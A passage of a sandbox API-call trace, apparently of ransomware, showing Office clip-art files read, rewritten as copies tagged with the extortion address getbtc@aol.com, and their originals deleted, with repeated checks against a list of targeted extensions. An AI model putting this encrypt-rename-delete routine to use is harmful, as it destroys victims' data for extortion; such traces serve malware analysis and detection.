lpOverlapped=0x0) returned 1 [0261.801] ReadFile (in: hFile=0x3dc, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.801] WriteFile (in: hFile=0x3e0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.801] SetEndOfFile (hFile=0x3e0) returned 1 [0261.801] CloseHandle (hObject=0x3e0) returned 1 [0261.801] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.801] SetEndOfFile (hFile=0x3dc) returned 1 [0261.803] CloseHandle (hObject=0x3dc) returned 1 [0261.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 1 [0261.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.804] lstrlenW (lpString=".doc") returned 4 [0261.804] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.804] lstrlenW (lpString=".docx") returned 5 [0261.804] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0261.804] lstrlenW (lpString=".pdf") returned 4 [0261.805] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString=".xls") returned 4 [0261.805] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString=".xlsx") returned 5 [0261.805] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0261.805] lstrlenW (lpString=".ppt") returned 4 [0261.805] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString=".zip") returned 4 [0261.805] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString=".rar") returned 4 [0261.805] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString=".bz2") returned 4 [0261.805] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.805] lstrlenW (lpString=".7z") returned 3 [0261.805] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString=".dbf") returned 4 [0261.805] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString=".1cd") returned 4 [0261.805] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString=".jpg") returned 4 [0261.805] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.805] lstrlenW (lpString=".doc") returned 4 [0261.805] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.805] lstrlenW (lpString=".docx") returned 5 [0261.805] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0261.805] lstrlenW (lpString=".pdf") returned 4 [0261.805] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.805] lstrlenW (lpString=".xls") returned 4 [0261.805] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.806] lstrlenW (lpString=".xlsx") returned 5 [0261.806] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0261.806] lstrlenW (lpString=".ppt") returned 4 [0261.806] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.806] lstrlenW (lpString=".zip") returned 4 [0261.806] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.806] lstrlenW (lpString=".rar") returned 4 [0261.806] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.806] lstrlenW (lpString=".bz2") returned 4 [0261.806] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.806] lstrlenW (lpString=".7z") returned 3 [0261.806] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.806] lstrlenW (lpString=".dbf") returned 4 [0261.806] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.806] lstrlenW (lpString=".1cd") returned 4 [0261.806] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned 63 [0261.806] lstrlenW (lpString=".jpg") returned 4 [0261.806] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.806] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.806] lstrlenW (lpString="J0145810.JPG") returned 12 [0261.806] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.542] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=36792) returned 1 [0262.542] CloseHandle (hObject=0x1c0) returned 1 [0262.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0262.542] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.543] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.543] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.543] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.543] GetLastError () returned 0x0 [0262.543] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x8fb8, lpOverlapped=0x0) returned 1 [0262.559] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x8fc0, lpOverlapped=0x0) returned 1 [0262.560] ReadFile (in: hFile=0x1c0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.560] WriteFile (in: hFile=0x37c, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.561] SetEndOfFile (hFile=0x37c) returned 1 [0262.561] CloseHandle (hObject=0x37c) returned 1 [0262.561] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.561] SetEndOfFile (hFile=0x1c0) returned 1 [0262.563] CloseHandle (hObject=0x1c0) returned 1 [0262.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.580] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 1 [0262.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.599] lstrlenW (lpString=".doc") returned 4 [0262.599] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.599] lstrlenW (lpString=".docx") returned 5 [0262.599] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0262.599] lstrlenW (lpString=".pdf") returned 4 [0262.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString=".xls") returned 4 [0262.600] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString=".xlsx") returned 5 [0262.600] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0262.600] lstrlenW (lpString=".ppt") returned 4 [0262.600] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString=".zip") returned 4 [0262.600] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString=".rar") returned 4 [0262.600] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString=".bz2") returned 4 [0262.600] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.600] lstrlenW (lpString=".7z") returned 3 [0262.600] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString=".dbf") returned 4 [0262.600] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString=".1cd") returned 4 [0262.600] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString=".jpg") returned 4 [0262.600] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.600] lstrlenW (lpString=".doc") returned 4 [0262.600] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0262.600] lstrlenW (lpString=".docx") returned 5 [0262.600] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0262.600] lstrlenW (lpString=".pdf") returned 4 [0262.600] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0262.600] lstrlenW (lpString=".xls") returned 4 [0262.601] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0262.601] lstrlenW (lpString=".xlsx") returned 5 [0262.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0262.601] lstrlenW (lpString=".ppt") returned 4 [0262.601] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0262.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.601] lstrlenW (lpString=".zip") returned 4 [0262.601] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0262.601] lstrlenW (lpString=".rar") returned 4 [0262.601] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0262.601] lstrlenW (lpString=".bz2") returned 4 [0262.601] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0262.601] lstrlenW (lpString=".7z") returned 3 [0262.601] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0262.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.601] lstrlenW (lpString=".dbf") returned 4 [0262.601] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0262.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.601] lstrlenW (lpString=".1cd") returned 4 [0262.601] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0262.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned 63 [0262.601] lstrlenW (lpString=".jpg") returned 4 [0262.601] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0262.601] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.601] lstrlenW (lpString="J0152590.WMF") returned 12 [0262.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0262.616] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=10932) returned 1 [0262.616] CloseHandle (hObject=0x39c) returned 1 [0262.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 0x20 [0262.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0262.705] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.706] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0262.706] GetLastError () returned 0x0 [0262.706] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x2ab4, lpOverlapped=0x0) returned 1 [0262.719] WriteFile (in: hFile=0x1c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x2ac0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x2ac0, lpOverlapped=0x0) returned 1 [0262.720] ReadFile (in: hFile=0x3a0, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.720] WriteFile (in: hFile=0x1c0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.720] SetEndOfFile (hFile=0x1c0) returned 1 [0262.720] CloseHandle (hObject=0x1c0) returned 1 [0262.720] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.720] SetEndOfFile (hFile=0x3a0) returned 1 [0262.722] CloseHandle (hObject=0x3a0) returned 1 [0262.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0262.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152590.wmf")) returned 1 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.723] lstrlenW (lpString=".doc") returned 4 [0262.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".docx") returned 5 [0262.724] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.724] lstrlenW (lpString=".pdf") returned 4 [0262.724] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".xls") returned 4 [0262.724] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.724] lstrlenW (lpString=".xlsx") returned 5 [0262.724] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.724] lstrlenW (lpString=".ppt") returned 4 [0262.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString=".zip") returned 4 [0262.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.724] lstrlenW (lpString=".rar") returned 4 [0262.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".bz2") returned 4 [0262.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".7z") returned 3 [0262.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString=".dbf") returned 4 [0262.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString=".1cd") returned 4 [0262.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString=".jpg") returned 4 [0262.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.724] lstrlenW (lpString=".doc") returned 4 [0262.724] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0262.724] lstrlenW (lpString=".docx") returned 5 [0262.725] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0262.725] lstrlenW (lpString=".pdf") returned 4 [0262.725] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString=".xls") returned 4 [0262.725] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0262.725] lstrlenW (lpString=".xlsx") returned 5 [0262.725] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0262.725] lstrlenW (lpString=".ppt") returned 4 [0262.725] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.725] lstrlenW (lpString=".zip") returned 4 [0262.725] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0262.725] lstrlenW (lpString=".rar") returned 4 [0262.725] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString=".bz2") returned 4 [0262.725] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString=".7z") returned 3 [0262.725] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0262.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.725] lstrlenW (lpString=".dbf") returned 4 [0262.725] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.725] lstrlenW (lpString=".1cd") returned 4 [0262.725] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0262.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152590.WMF") returned 63 [0262.725] lstrlenW (lpString=".jpg") returned 4 [0262.725] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0262.725] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0262.725] lstrlenW (lpString="J0152608.WMF") returned 12 [0262.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0262.732] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=12436) returned 1 [0262.732] CloseHandle (hObject=0x37c) returned 1 [0262.732] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf")) returned 0x20 [0262.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0262.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0262.736] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.737] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0262.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0262.738] GetLastError () returned 0x0 [0262.738] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x3094, lpOverlapped=0x0) returned 1 [0262.740] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x30a0, lpOverlapped=0x0) returned 1 [0262.741] ReadFile (in: hFile=0x1b8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0262.741] WriteFile (in: hFile=0x3dc, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0262.741] SetEndOfFile (hFile=0x3dc) returned 1 [0262.741] CloseHandle (hObject=0x3dc) returned 1 [0262.741] SetFilePointerEx (in: hFile=0x1b8, 